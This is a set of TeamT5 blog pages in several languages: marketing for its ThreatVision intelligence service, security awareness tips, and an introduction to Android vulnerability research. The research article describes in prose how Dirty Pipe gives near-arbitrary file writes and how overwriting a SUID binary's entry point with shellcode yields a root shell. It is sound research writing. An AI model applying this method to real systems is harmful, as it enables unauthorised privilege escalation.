Having access to precise and timely threat intelligence is crucial for protecting your organization. While many regions, such as Europe and America, have well-established cyber threat intelligence resources, the Asia-Pacific (APAC) region often faces a scarcity of localized intelligence. This is where TeamT5 steps in, leveraging over a decade of experience to offer specialized insights into APAC cyber threats.

##Why Choose TeamT5's ThreatVision?
TeamT5 is renowned for its expertise in the Asia-Pacific region. Our professional team, proficient in Chinese and equipped with deep geopolitical knowledge, has been at the forefront of researching Advanced Persistent Threats (APTs) from APAC for over twenty years. Our insights are frequently showcased at prestigious global conferences, underlining our status as leading experts in this domain.

##Understanding Threat Intelligence Needs
Cyber threat intelligence can be broadly categorized into three types, each catering to different roles within an organization:

####Strategic Threat Intelligence
Designed for C-level executives, this intelligence helps in understanding broad trends, identifying threat actors targeting the organization, and their objectives.

####Tactical Threat Intelligence
Essential for SOC leaders and analysts, this type focuses on hacker techniques and proactive threat prevention.

####Operational Threat Intelligence
Critical for incident responders, this intelligence provides precise threat indicators for swift assessment and response to incidents.

##Tailoring ThreatVision Reports to Your Needs
###For C-Level Executives

- **CTI Reports**: Consolidate event motives, sources, and malicious group profiles to provide crucial references.
- **RFI and Consulting Services**: Offer tailored investigation reports and advisory services for specific requirements.

###For Risk Managers

- **Technical Analysis**: Reports include event and malicious file analysis, helping in proactive threat mitigation.
- **Detection Tools**: Offer sample analysis capabilities for investigating current threats and understanding technical details.
- **Custom Reports and Tools**: TeamT5 analysts can provide customized reports and tools to aid in risk management operations.

###For Incident Responders

- **API Service**: Enables quick integration of automated situational information, reducing response times.
- **Threat Indicators and Detection Tools**: Provide accurate indicators to minimize false positives and enhance response efficiency.
- **Contextual Information**: Ensures sufficient context for swift escalation during high-risk events.

##Navigating ThreatVision Reports
ThreatVision reports are categorized to address various cybersecurity needs.

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

####APT in Asia Reports
Analyze APT events and trends in the APAC region, offering deep insights into hacker activities.

####Vulnerability Reports
Provide technical analysis and risk assessment of critical vulnerabilities, along with hunting tools and patch management.

####Cyber Affairs Reports
Comprehensive reports on cybersecurity operations and policies in the APAC region, particularly China.

##Enhancing Collaboration and Efficiency
ThreatVision enhances internal team collaboration and efficiency.

- **CISOs**: Use intelligence reports to secure budget, resources, and authority, while coordinating with CTOs and CIOs to strengthen policies.
- **SOC Teams**: Refer to IOCs and tools for rapid and effective defense deployment.
- **Analysts and Responders**: Investigate specific attack behaviors, analyze malicious samples, and provide insights for higher management.

##Summary
Choosing the right ThreatVision report is crucial for informed decision-making and effective threat management. Whether you need strategic insights, detailed technical analysis, or precise threat indicators, ThreatVision has the resources to meet your organization's cybersecurity needs. With our specialized focus on the Asia-Pacific region, you can trust TeamT5 to provide the intelligence necessary to stay ahead of evolving threats and safeguard your digital assets.

 
 
>Learn more about [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) and enhance your cybersecurity strategy with TeamT5 today. 
>
>[Contact us](https://teamt5.org/tw/contact-us//?utm_source=blog&utm_medium=website) to schedule a consultation.

Which ThreatVision Intelligence is Right for You?

為了有效保護您的企業不受複雜多變的網路威脅侵擾，獲取精確且及時的威脅情資是必要的防禦手段。儘管歐美等地區擁有成熟的網路威脅情報資源，亞太地區（APAC）卻往往缺乏在地情資，而這正是 TeamT5 發揮作用之處。憑藉超過十年的經驗，TeamT5 為亞太地區的網路威脅提供精確、及時且具洞見的威脅情資。

 
##為什麼選擇 TeamT5 的 ThreatVision？
TeamT5 以其深耕亞太地區威脅情資研究的專業而聞名。我們的專業團隊精通中文，擁有逾二十年所累積的深厚地緣政治知識，在研究亞太地區進階持續性威脅（APT）族群和網路威脅的領域中，始終保持領先。我們的研究報告經常在世界級資安會議上發表，進一步鞏固我們在專業領域中的領導地位。

 
##了解威脅情資需求
網路威脅情資大致可以分為以下三種類型，以符合組織內各種角色對威脅情資的不同需求：

####戰略威脅情資（Strategic Threat Intelligence）
專門為負責決策的 C-Level 高階管理人員設計，有助於管理人員洞察宏觀威脅趨勢，識別針對企業的惡意攻擊者，並闡明攻擊者的目標。

####實戰威脅情資（Operational Threat Intelligence）
戰術型威脅情資對安全運營中心（SOC）的主管及分析師至關重要，協助企業了解惡意攻擊者的技術，並積極預防潛在威脅。

####戰術威脅情資（Tactical Threat Intelligence）
對威脅事件處理者（Incident Responders）來說，這類情資提供了精確的入侵威脅指標（IoC），協助快速評估並應變事件。

 
##量身打造您的 ThreatVision 報告
####針對 C-Level 經理人、資安決策者
- **CTI 報告**：統整威脅事件動機、來源和惡意攻擊者概況，提供關鍵參考建議。
- **RFI 諮詢服務**：針對企業的特定需求，提供客製化調查報告和諮詢服務。

####針對風險管理人員
- **技術分析**：情資報告包含威脅事件調查和惡意程式分析，協助企業主動緩解威脅。
- **檢測工具**：平台提供惡意樣本分析功能，能夠用於分析當前威脅並了解技術細節。
- **客製化報告和工具**：TeamT5 分析師提供客製化的報告和威脅狩獵工具，協助企業風險管理。

####針對事件應變人員
- **API 服務**：可快速整合至自動化系統中，加速事件處理時間。
- **威脅指標和偵測工具**：提供精確的威脅指標，讓團隊能夠專注於真正的威脅，最大限度減少誤報，並提高事件應變效率。
- **上下文資訊**：提供完整充分的上下文背景資訊，確保團隊在高風險事件中能夠快速掌握威脅的嚴重性，以進行必要的防禦升級或應對措施。

 
##總覽 ThreatVision 報告
ThreatVision 的威脅情資報告分類為以下三種，用以解決各種層面的網路安全需求。

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

###亞洲 APT 威脅情資報告
分析亞太地區的 APT 事件和威脅趨勢，深入了解駭客族群的活動。

###漏洞威脅情資報告
針對可被利用的高危關鍵漏洞，提供詳盡的技術分析和風險評估，以及狩獵工具和漏洞修補管理建議，使企業得以減輕高危漏洞所造成的威脅。

###亞太網路政策報告
彙整中文網路世界的重點網路資安新聞，包含政策、法案以及資安事件，尤其是中國網路政策相關的最新動態與發展。


 
##增強協作和效率
透過 ThreatVision ，您也得以增強企業內部團隊的協作和效率。

- **資安長（CISO）**：利用威脅情資報告來決策預算、資源和權限，並與 CTO 和 CIO 協作，加強資訊安全策略。
- **SOC 團隊**：參考入侵指標和威脅狩獵工具，快速有效地部署防禦，抵禦潛在威脅。
- **分析師和事件應變人員**：協助企業調查具體的攻擊行為，分析環境中的惡意樣本，並為高階管理人員提供戰略見解。

 
##總結
選擇最適合您的 ThreatVision 威脅情資報告，協助您的組織做出明智決策並有效管理威脅。無論您需要的是宏觀戰略見解、詳細技術分析，還是精確的威脅指標，ThreatVision 都擁有能滿足您網路安全需求的豐富資源。憑藉我們長期專注於亞太地區威脅情資研究的資歷，您可以信賴 TeamT5 所提供的必要情資，以超前應對不斷演變的威脅，並保護您的數位資產。



 
 
>請即刻[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，進一步安排諮詢，強化企業資安防禦。

選擇最適合您的 ThreatVision 威脅情資報告

正確かつリアルタイムな脅威インテリジェンスへのアクセスは、組織を保護するために不可欠です。ヨーロッパやアメリカなどではサイバー脅威インテリジェンスのリソースが確立されていますが、アジア太平洋 (APAC) 地域ではローカライズされたインテリジェンスが不足していることがよくあります。そこで TeamT5 は、10 年以上の経験を活かして APAC のサイバー脅威に関する専門的な知見を提供します。

##TeamT5 の ThreatVision を選ぶ理由

TeamT5 の最大の特徴は、アジア太平洋地域における専門知識の豊富さです。言語的、地政学的優位性を備えた当社の専門チームは、20 年以上にわたってアジア太平洋地域の APT (Advanced Persistent Threat) 研究の最前線に立ってきました。当社の知見は、権威ある世界的カンファレンスで頻繁に紹介されており、この分野におけるプロフェッショナルとしての地位を確立しています。

##脅威インテリジェンスのニーズを理解する
サイバー脅威インテリジェンスは、組織内のさまざまな役割に応じて、大きく 3 つのタイプに分類できます。

####戦略的脅威インテリジェンス
C レベルのエグゼクティブ向けに設計されたこのインテリジェンスは、幅広い傾向を理解し、組織を標的とする脅威アクターとその目的を特定するのに役立ちます。

####戦術的脅威インテリジェンス
SOC リーダーとアナリストにとって不可欠なこのインテリジェンスは、ハッカーのテクニックとプロアクティブな脅威の防止に重点を置いています。

####運用的脅威インテリジェンス
インシデント対応者にとって重要なこのインテリジェンスは、インシデントに対する迅速な評価と対応のための正確な脅威指標を提供します。

##ThreatVision レポートをニーズに合わせてカスタマイズ
####C レベルのエグゼクティブ向け
- **CTI レポート**: イベントの動機、ソース、悪意のあるグループのプロファイルを統合して、重要な参考資料を提供します。
- **RFI およびコンサルティング サービス**: 特定の要件に合わせてカスタマイズされた調査レポートとアドバイザリーサービスを提供します。


####リスク管理者向け
- **技術分析**: レポートにはイベントと悪意のあるファイルの分析が含まれており、プロアクティブな脅威の軽減に役立ちます。
- **検出ツール**: 現在の脅威を調査し、技術的な詳細を理解するためのサンプル分析機能を提供します。
- **カスタム レポートとツール**: TeamT5 アナリストが、リスク管理業務を支援するカスタマイズされたレポートとツールを提供します。


####インシデント対応者向け
- **API サービス**: 自動化された情報を迅速に統合し、対応時間を短縮します。
- **脅威インジケーターと検出ツール**: 誤検知を最小限に抑え、対応効率を高める正確な指標を提供します。
- **コンテキスト情報**: リスクの高い事象が発生した場合に、迅速なエスカレーションのための十分なコンテキストを確保します。

##ThreatVision レポートの種類
[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) レポートは、さまざまなサイバーセキュリティのニーズに対応するために分類されています。

![pic_which-threat-vision-intelligence-is-right-for-you.jpg](https://uploads.teamt5.org/upload/original/pic_which-threat-vision-intelligence-is-right-for-you.jpg)

####APT in Asia Report
APAC 地域の APT イベントと傾向を分析し、ハッカーの活動に関する深い知見を提供します。

####Vulnerability Report
重大な脆弱性の技術分析とリスク評価、およびハンティング ツールとパッチ管理を提供します。

####Cyber Affairs Report
アジア太平洋地域、特に中国におけるサイバーセキュリティの運用とポリシーに関する包括的な情報をまとめています。

##連携力と効率の強化
[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) は、社内チームの連携力と効率を強化します。
- **CISO**: インテリジェンス レポートを使用して予算、リソース、権限を確保し、CTO や CIO と連携してポリシーを強化します。
- **SOC チーム**: IOC とツールを参照して、迅速かつ効果的な防御を展開します。
- **アナリストと対応者**: 特定の攻撃動作を調査し、悪意のあるサンプルを分析し、上級管理職に知見を提供します。

##まとめ
適切な [ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) レポートを選択することは、情報に基づいた意思決定と効果的な脅威管理に不可欠です。戦略的な洞察、詳細な技術分析、または正確な脅威指標のいずれにおいても、[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website) には組織のサイバーセキュリティのニーズを満たすリソースがあります。アジア太平洋地域に特化している TeamT5 は、進化する脅威に先手を打ってデジタル資産を保護するために必要なインテリジェンスを提供します。



あなたにぴったりの ThreatVision インテリジェンス を選びましょう

ThreatVision Resources

## Android 漏洞研究介紹

### Android 研究環境準備
進行 Android 漏洞研究的環境可分為模擬器(emulator)環境以及實體手機環境，模擬與實體手機上的研究還是存在差異性。如模擬環境中無法將硬體一同模擬，不同廠牌的手機也會有自己實作應用程式、保護機制等，因此在研究的選擇上主要會以實體手機為主。

選擇較好進行刷機 (rooting) 的手機做為研究設備能夠較快建立好研究環境，如 Google 、小米等。 Rooting 的目的在於能幫助研究人員能夠進行更加便利的使用，以及較能不受到 SELinux 安全機制的影響。 

### 高層級攻擊面 (High-level Attack surface)
Android APP 層面的攻擊面有非常多，包含受保護的組件 (protected component) 上的錯誤設定(misconfiguration)，導致 APP 能夠存取到任意系統檔案。或者 APP 開發者使用動態方式將系統路徑的函式庫進行載入，若該 APP 存在路徑遍歷 (path traversal) 相關漏洞的話，則能將該 APP 載入惡意的函式庫 (share object file) 達到持久性本地程式碼執行 (persistent local code execution) 或者遠端程式碼執行 (RCE, Remote Code Execution)。

- **Android 深度連結 (Deep link)** : Android 中的 Deep Link 是一種特殊的 URL，允許應用程式直接導到應用內的特定內容或頁面，而不僅是啟動應用程式的主畫面。在 Pwn2own 2022 有參賽者 利用 Samsung Galaxy Store 中的 Deeplink 漏洞達到程式碼執行，能夠安裝並開啟任意 APP。

- **動態程式碼載入 (Dynamic code loading)** : Android APP 也會使用 share object files，以 CVE-2021-40724 為例，該漏洞發生在 adobe PDF Reader APP 中，漏洞成因為 APP 允許使用者以 URL 形式將期望開啟的 PDF 路徑傳給 APP。然而在後續功能實作中並未對該路徑內容進行檢查，導致了 path traversal 的漏洞。攻擊者能夠透過該漏洞建立出任意檔案，PoC 為利用 path traversal 建立 APP 預設會載入的 share object file，其中 share object file 的內容為攻擊者所能控制，藉此達到 RCE。

- **受保護的組件 (Protected components)** : 在 Android 系統中 `intent` 是一個可序列化 (Parcelable) 的物件，然而開發者可能會不小心使用錯誤的呼叫方式，或者檢查不夠嚴謹，導致攻擊者能夠從使用第三方 app 來存取到目標 app 底下的相關資訊。
 

### 低層級攻擊面 (Low-level Attack surface)

- **Android kernel** : 由於 Android kernel 是基於 Linux kernel 開發的，因此若是在 Linux kernel 中存在的漏洞， Android 系統上也是有可能具有相關漏洞，如 Dirty-CoW , Dirty Pipe 等漏洞皆能夠在 Android 系統中重現，但由於 OS 環境上的差異性，會使得重現過程中需繞過如 SELinux 等問題。

- **Android kernel driver** : Android kernel driver 負責與硬體設備的溝通，若在其中存在漏洞也可能導致攻擊者能夠在目標手機上提權拿到 root。如 ARM 的 Mali GPU driver 目前已被發現存在多個漏洞。

- **Android TEE** : Android 系統中大多使用 TEE (Trust Execution Environment) 來保護裝置的安全性，不同手機廠牌會根據所使用的 CPU 晶片來決定使用哪個架構的 TEE，如 Samsung Exynos 使用的 TEE 環境為 TEEGRIS，而 Pixel4 XL 使用的為高通的 QSEE。 TEE 的攻擊面有 TEEOS 以及 TA (Trusted Applications) 等。

## 漏洞重現

我們針對 Android 系統環境中進行漏洞的移植及重現，幫助研究人員了解成因及系統架構上的差異性。在 2022 年的 HITCON 中，我們以成功移植 Dirty-Pipe (CVE-2022-0847) 的漏洞到 Android 12 Pixel6 的手機。

在該研究的最終目的是希望能夠在 Android 系統中使用 Dirty-Pipe 漏洞，並且能夠獲取繞過 SELinux 的 reverse root shell。

### Dirty-Pipe 漏洞介紹

當 Pipe 在進行操作時，會使用 zero copy，來降低資源的浪費。對 page 進行操作時會使用 page reference 進行操作。其中 `PIPE_BUF_FLAG_CAN_MERGE` flag 設上後會以當下的 page 進行寫入而不會重新 allocate 新的 page。

Dirty-Pipe 漏洞發生在 Pipe 操作時由於 `PIPE_BUF_FLAG_CAN_MERGE` 並未初始化而導致使用時不會重新分配新的 page 而是直接對拿到的 page 進行寫入，因此可以透過 splice system call 來獲取想要 overwrite 目標的 page ，再以 Dirty-Pipe 漏洞進行寫入，就能達到對 read-only 檔案有著趨近於任意寫的功能。


 
![pic_introduction-to-android-vulnerability-research.png](https://uploads.teamt5.org/upload/original/pic_introduction-to-android-vulnerability-research.png)
 

Dirty-Pipe 本身在任意寫上存在一些限制：
1. 對檔案必須要有 read 與 open 的權限
2. 每一次寫入只能寫 1 個 page 大小
3. page 的第 1 個 byte 無法進行寫入
4. None-regular file 是不能寫入

### Linux 系統中 Dirty-Pipe 漏洞提權方法
有著趨近於任意寫的功能下，能夠對任何能夠 open read 的檔案進行寫入，在 linux 系統中提權方法相較於 Android 系統中較為簡單與直接。


- 找出帶有 SUID 的程式作為目標，如 `/usr/bin/sudo`，將該程式的 Entry point 複寫為 Shellcode 的位置即可以 root 權限開啟 Shell 。

### Reference
- https://starlabs.sg/blog/2023/06-the-old-the-new-and-the-bypass-one-clickopen-redirect-to-own-samsung-s22-at-pwn2own-2022/
- https://hulkvision.github.io/blog/post1/
- https://dirtypipe.cm4all.com/

 
>TeamT5 杜浦數位安全專精網路威脅研究，提供端點偵測與回應(EDR)解決方案 - ThreatSonar，有效偵測，避免企業系統漏洞遭到有心人士濫用、遭遇資安攻擊。
>
>團隊具備超過10年的惡意程式與進階持續性威脅(APT)的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響；更經常受邀參加世界級資安會議、發表研究成果。
>
>若您有資安防護的需求，歡迎填寫[諮詢表單](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)

Android 漏洞研究介紹

##Introduction to Android Vulnerability Research
###Preparing the Android Research Environment
The environment for conducting Android vulnerability research can be categorized into emulator environments and physical device environments. There are notable differences between research conducted on emulators and physical devices. For instance, emulator environments cannot replicate hardware interactions, and different manufacturers implement their applications and protection mechanisms. Therefore, for research purposes, the primary focus will be on physical devices.

It is advisable to choose a physical phone that is more convenient for rooting, such as devices from Google or Xiaomi. Rooting is intended to provide researchers with more convenient usage and minimize the impact of the SELinux security mechanism.

###High-Level Attack Surface
The attack surface at the Android application level is extensive, including misconfigurations in protected components that allow the app to access arbitrary system files. Additionally, if app developers dynamically load libraries from system paths, with path traversal vulnerabilities, attackers can load malicious shared object files, enabling persistence in local devices or remote code execution (RCE).

- **Android Deep Linking**: In Android, a deep link is a specific type of URL that allows an application to navigate directly to specific content or pages. At Pwn2Own 2022, a participant exploited a deep link vulnerability in the Samsung Galaxy Store, achieving code execution that allowed for the installation and launch of any app.
- 
- **Dynamic Code Loading**: Android apps often utilize shared object files. For instance, CVE-2021-40724 was a vulnerability found in the Adobe PDF Reader app, where the app allowed users to provide the expected PDF path via a URL. However, the implementations did not validate the content of this path, resulting in a path traversal vulnerability. Attackers could exploit this flaw to create arbitrary files. A proof of concept (PoC) for this vulnerability demonstrated how to create a shared object file that the app would load by default, with content controlled by the attacker, thereby achieving RCE.

- **Protected Components**: In the Android system, an `intent` is a serializable (Parcelable) object. However, developers may inadvertently use incorrect calling methods or fail to conduct rigorous checks, resulting in attackers accessing sensitive information from the target app using third-party applications.


###Low-level Attack surface
- **Android Kernel**: Since the Android kernel is based on the Linux kernel, vulnerabilities present in the Linux kernel can also manifest in the Android system. For example, vulnerabilities such as Dirty COW and Dirty Pipe can be reproduced in Android. However, due to differences in the operating system environment, the reproduction process may need to navigate issues such as SELinux.

- **Android Kernel Driver**: The Android kernel driver is responsible for communication with hardware devices. If vulnerabilities exist within these drivers, attackers may be able to escalate privileges and gain root access to the target device. For instance, multiple vulnerabilities have been identified in the ARM Mali GPU driver.

- **Android TEE**: The Android system primarily utilizes the Trusted Execution Environment (TEE) to enhance device security. Different manufacturers determine which TEE architecture to implement based on the CPU chipset. For example, Samsung Exynos employs the TEEGRIS environment, while the Pixel 4 XL uses Qualcomm’s QSEE. The attack surface of the TEE includes TEEOS and Trusted Applications (TAs).

##Vulnerability reproduction
We reproduced vulnerabilities in the Android system environment to help researchers understand the causes and differences in system architecture. At HITCON 2022, we successfully ported the Dirty-Pipe (CVE-2022-0847) vulnerability to Android 12 Pixel6 phones.

The ultimate goal of this research is to use the Dirty-Pipe vulnerability in the Android system and bypass SELinux to gain the reverse root shell.


###Dirty-Pipe Vulnerability Introduction
When a pipe is in operation, it employs zero-copy techniques to minimize resource wastage. Page operations are conducted using page references. When the `PIPE_BUF_FLAG_CAN_MERGE` flag is set, data is written to the current page without reallocating a new page.

The Dirty-Pipe vulnerability occurs during pipe operations when the `PIPE_BUF_FLAG_CAN_MERGE` is not properly initialized. This oversight prevents the allocation of a new page, allowing data to be written directly to the acquired page. By utilizing the splice system call, an attacker can obtain the page to overwrite. Subsequently, by exploiting the Dirty-Pipe vulnerability, it can perform almost arbitrary writes to files.


 
![pic_introduction-to-android-vulnerability-research.png](https://uploads.teamt5.org/upload/original/pic_introduction-to-android-vulnerability-research.png)
 

Dirty-Pipe itself has some limitations on arbitrary writing:

1. The file must have read and open permissions
2. Each write operation can only write 1 page size
3. The first byte of the page cannot be written.
4. None-regular files cannot be written

###Privilege escalation in the Linux system
Using the vulnerability we can almost achieve arbitrary writing on read-only files, it can write to any file that can be open-read. The privilege escalation method in the Linux system is simpler than in the Android system.

- Find the program with SUID flag as the target, such as `/usr/bin/sudo`. Overwrite the entry point of the SUID binary to the address of the shellcode after that it will spawn the shell with root privileges.

 
####Reference
- https://starlabs.sg/blog/2023/06-the-old-the-new-and-the-bypass-one-clickopen-redirect-to-own-samsung-s22-at-pwn2own-2022/
- https://hulkvision.github.io/blog/post1/
- https://dirtypipe.cm4all.com/

 
>TeamT5 specializes in cyber threat research and provides an endpoint detection and response (EDR) solution - ThreatSonar, which effectively detects and prevents enterprise system vulnerabilities from being abused by malicious parties and encountering cybersecurity attacks.
>
>TeamT5 consists of top cyber threat analysts. Leveraging our geographic and cultural advantages, we have the best understanding of cyber attackers in Asia Pacific. TeamT5 is frequently invited to share insights at top cybersecurity conferences.
>
>For vulnerability research and endpoint protection inquiries, please contact us at [https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

Introduction to Android Vulnerability Research

Technical Analysis

October is [Cybersecurity Awareness Month](https://staysafeonline.org/programs/cybersecurity-awareness-month/), set by the USA National Cybersecurity Alliance. It’s a time dedicated to raising awareness about the importance of cybersecurity and empowering individuals and organizations to protect their digital lives. As we navigate an increasingly interconnected world, safeguarding our online presence has never been more critical. 

This year, the National Cybersecurity Alliance has emphasized four key tips to enhance your cybersecurity posture: 
- Using strong passwords and a password manager
- Turning on multi factor authentication
- Recognizing and reporting phishing
- Updating software to the latest versionLet's dive into each of these vital practices.

 
 

Here are action steps you can take -
##1. Using Strong Passwords and a Password Manager
**Why It Matters**: Weak passwords are a common entry point for cybercriminals. Using easily guessable passwords puts your sensitive information at risk.

**Action Steps**:
- **Create Complex Passwords**: Use a mix of uppercase and lowercase letters, numbers, and special characters. Avoid using easily guessable information like birthdays or common words.
- **Unique Passwords for Each Account**: Never reuse passwords across multiple accounts. If one account gets compromised, others will remain secure.
- **Use a Password Manager**: Password managers store and generate complex passwords, ensuring you only need to remember one master password.

##2. Turn on Multi Factor Authentication (MFA)
**Why It Matters**: MFA adds an extra layer of security by requiring multiple forms of verification before granting access to an account. This makes it significantly harder for attackers to gain unauthorized access.

**Action Steps**:
- **Enable MFA Everywhere**: Turn on MFA for all your online accounts that offer it. This often involves a second step, like entering a code sent to your phone or using a biometric scan.
- **Use Authenticator Apps**: Instead of relying solely on SMS-based MFA, consider using authenticator apps like Google Authenticator or Authy for better security.

##3. Recognize and Report Phishing
**Why It Matters**: Phishing attacks trick users into revealing personal information or downloading malicious software by pretending to be a trustworthy entity. These attacks are increasingly sophisticated and can have serious consequences.

**Action Steps:**
- **Be Skeptical of Unsolicited Emails**: If you receive an unexpected email asking for personal information or urging you to click a link, verify its legitimacy before taking any action.
- **Check the Sender's Email Address**: Phishers often use email addresses that look similar to legitimate ones. Look for subtle differences or misspellings.
- **Report Phishing Attempts**: Most email providers and organizations have mechanisms for reporting phishing. Use these tools to help combat cyber threats.

##4. Update Software Regularly
**Why It Matters**: Software updates often include security patches that fix vulnerabilities. Failing to update your software leaves you exposed to potential attacks.

**Action Steps**:
- **Enable Automatic Updates**: Whenever possible, enable automatic updates for your operating system, applications, and devices.
- **Manually Check for Updates**: For software that doesn't update automatically, set a reminder to check for updates regularly.
- **Prioritize Critical Updates**: Install security patches and critical updates as soon as they become available to stay protected against the latest threats.

##Conclusion
Cybersecurity Awareness Month 2024 is an excellent opportunity to strengthen your digital defenses and promote a culture of security awareness. By incorporating these key practices—using strong passwords and a password manager, turning on multi factor authentication, recognizing and reporting phishing, and updating software—you can significantly reduce your risk of falling victim to cyber threats. Join us in spreading the word and making the digital world a safer place for everyone.
Stay safe and secure!

>**TeamT5 Threat Analyst Summit: “Stay Informed. Stay Secured.”**
>Embrace the Power of Intelligence at the Threat Analyst Summit 2024! 
>
>In the ever-evolving landscape of cybersecurity, staying one step ahead is not just an advantage – it's imperative. Join us at this year's Threat Analyst Summit, where we bring together the brightest minds in the industry to explore, learn, and collaborate. Our theme, "Stay Informed, Stay Secure", underscores the critical role of continuous intelligence in safeguarding against emerging threats.
>
>Join the Summit, and you may - 
>*Uncover cutting-edge insights from experts around the world.
>*Explore the latest attacks methods of APT and cybercrime, and then defend them 
>*Deep dive into innovative strategies for incident response
>
>**Sign up > https://teamt5tw.kktix.cc/events/tas2024**

Cybersecurity Awareness Month 2024: Strengthening Your Digital Defenses

Products & Services

Businesses face increasingly complex and frequent online threats. This surge in cyber threats poses a significant challenge to network security personnel, who must navigate a constant stream of alerts and incidents. Without a clear understanding of these threats, companies risk making incorrect judgments that can lead to wasted resources and serious damages. Here’s how ThreatVision’s Indicators of Compromise (IoCs) can make a substantial difference.

 

##Overcoming Cyber Threats is Hard...
As business operations become more digitized, the complexity and prevalence of cyber threats grow. Network security teams often deal with frequent alerts that are difficult to fully understand without professional intervention. This ambiguity can lead to incorrect decisions, resource wastage, and significant damage from overlooked signs of intrusion. Outsourcing every incident investigation isn't sustainable due to high costs and fragmented vendor involvement.

 

##Let TeamT5’s ThreatVision IoCs Help You!
TeamT5, with years of experience studying hacker behavior in the Asia-Pacific region, has refined its expertise into precise Indicators of Compromise (IoCs). These IoCs are essential for effective cybersecurity operations, enabling businesses to identify and block intrusions.

![pic_making-the-most-of-threatvision-iocs.jpg](https://uploads.teamt5.org/upload/original/pic_making-the-most-of-threatvision-iocs.jpg)

 

##Key Features of ThreatVision IoCs
1. **High-precision APT IoCs**: These are derived from complex investigations and provide insights into specific adversaries and their methods, offering valuable intelligence to strengthen your cybersecurity posture.
2. **Broad-ranging Cybercrime IoCs**: Cover a wide array of cyber threats including infostealer, crypto miner, vulnerability weaknesses and more, ensuring comprehensive protection.
3. **API Integration**: Seamlessly integrates with various network defense devices and firewall applications, facilitating easy and automated deployment.
4. **Traceable Sources and CSV/STIX Format Support**: Ensures IoCs are easily deployable and verifiable.

 

##How ThreatVision IoCs Enhance Cybersecurity
###Accurate Alert Judgement
By importing ThreatVision IoCs into your network devices and software tools, you can establish robust monitoring across your environment. When an IoC is detected, it triggers an alarm, allowing cybersecurity personnel to swiftly block, isolate, and clear the threat. This proactive approach significantly reduces the risk and impact of cyber attacks.

###Comprehensive Threat Understanding
ThreatVision IoCs link to three rich data types within the platform:
- **Adversary Database**: Understand the background and motivation of adversaries to deploy defenses for specific digital assets in advance.
- **Malicious Program Database**: Gain technical details to select and deploy effective defense tools.
- **Threat Intelligence Reports**: Confirm your situation against recent threats and ensure your defenses are up-to-date.

###Proactive Defense Measures
Using ThreatVision IoCs, enterprises can:

- **Deploy IoCs Properly**: Ensure complete and consistent deployment using our API.
- **Respond to Alerts Immediately**: Block, quarantine, and remove malware to minimize damage.
- **Investigate Thoroughly**: Identify the source and purpose of the attack to better understand adversary tactics and tools.

 

##Benefits of ThreatVision IoCs
1. **Enhanced Alert Accuracy**: Make better-informed decisions based on precise IoCs.
2. **Proactive Threat Management**: Understand threats in-depth to take preemptive measures.
3.** Ease of Automation**: Simplify deployment and management through API integration.
4. **Rapid Deployment**: Utilize generic file formats like CSV and STIX for quick implementation.

 

##Summary
In the battle against cyber threats, understanding both your capabilities and the adversary's tactics is crucial. TeamT5’s ThreatVision platform, with its extensive database of adversaries, malware, and comprehensive threat intelligence reports, empowers enterprises to navigate the threat landscape effectively. By leveraging ThreatVision’s powerful features, businesses can enhance their cybersecurity posture and safeguard against evolving threats.

 
>Making the most of ThreatVision IoCs - [contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) !

Making the Most of ThreatVision IoCs

企業面臨著日益複雜且頻繁的網路威脅。隨著網路威脅的爆炸性增加，讓他們必須應對不斷湧入的警報和事件，對資訊安全人員構成了重大挑戰。若企業不夠清楚了解這些威脅，很可能會做出錯誤判斷，導致資源浪費和嚴重損害。 ThreatVision 的入侵指標（Indicators of Compromise, IoCs）如何在抵禦網路威脅中發揮重大作用呢？

 

##克服網路威脅的困難...
隨著企業營運越來越數位化，網路威脅的複雜性和普遍性也隨之增長。資訊安全團隊被迫處理頻繁的警報，缺少知識背景的情況下，這些警報往往難以完全理解。對於威脅的模糊認知可能導致錯誤決策、資源浪費，或甚至會因忽視入侵跡象，而造成的重大損害。加上外包調查事件的成本高昂、服務供應商參與的過程破碎化，使得外包調查策略也難以延續

 

##讓 TeamT5 的 ThreatVision IoCs 助您一臂之力！
TeamT5 多年來持續研究亞太地區駭客行為，將其專業知識精煉為精準的入侵指標（IoCs）。這些 IoCs 是有效網路安全營運的關鍵，使企業能夠精確識別並阻止入侵。

![pic_making-the-most-of-threatvision-iocs.jpg](https://uploads.teamt5.org/upload/original/pic_making-the-most-of-threatvision-iocs.jpg)

 

##ThreatVision IoCs 的主要特點
- **高精準度的 APT IoCs**：這些 IoCs 源自複雜且長年累月的調查，提供對特定威脅者及其方法的深入了解，為加強您的網路安全態勢提供寶貴的情報。
- **廣泛的網路犯罪 IoCs**：涵蓋 APT 入侵、勒索軟體攻擊、漏洞弱點等各種網路威脅，確保全面保護。
- **API 整合**：無縫整合各種網路防禦設備和防火牆應用，輕鬆自動化部署。
- **可追溯來源和支援 CSV/STIX 格式**：讓 IoCs 易於部署和驗證。

 

##ThreatVision IoCs 增強網路安全的方式
###準確的警報判斷 

透過將 ThreatVision IoCs 導入您的網路設備和軟體工具，就如同在整個環境中建立強大的監控系統。當檢測到 IoCs 時，會觸發警報，使資訊安全人員能夠迅速封鎖、隔離和清除威脅。這種主動防禦方式，能夠顯著減少網路攻擊的風險和影響。

 

###全面的威脅理解 

ThreatVision IoCs 連接到平台內三種類型的豐富數據：
- **威脅者資料庫**：了解威脅者的背景和動機，提前部署針對特定資產的防禦措施。
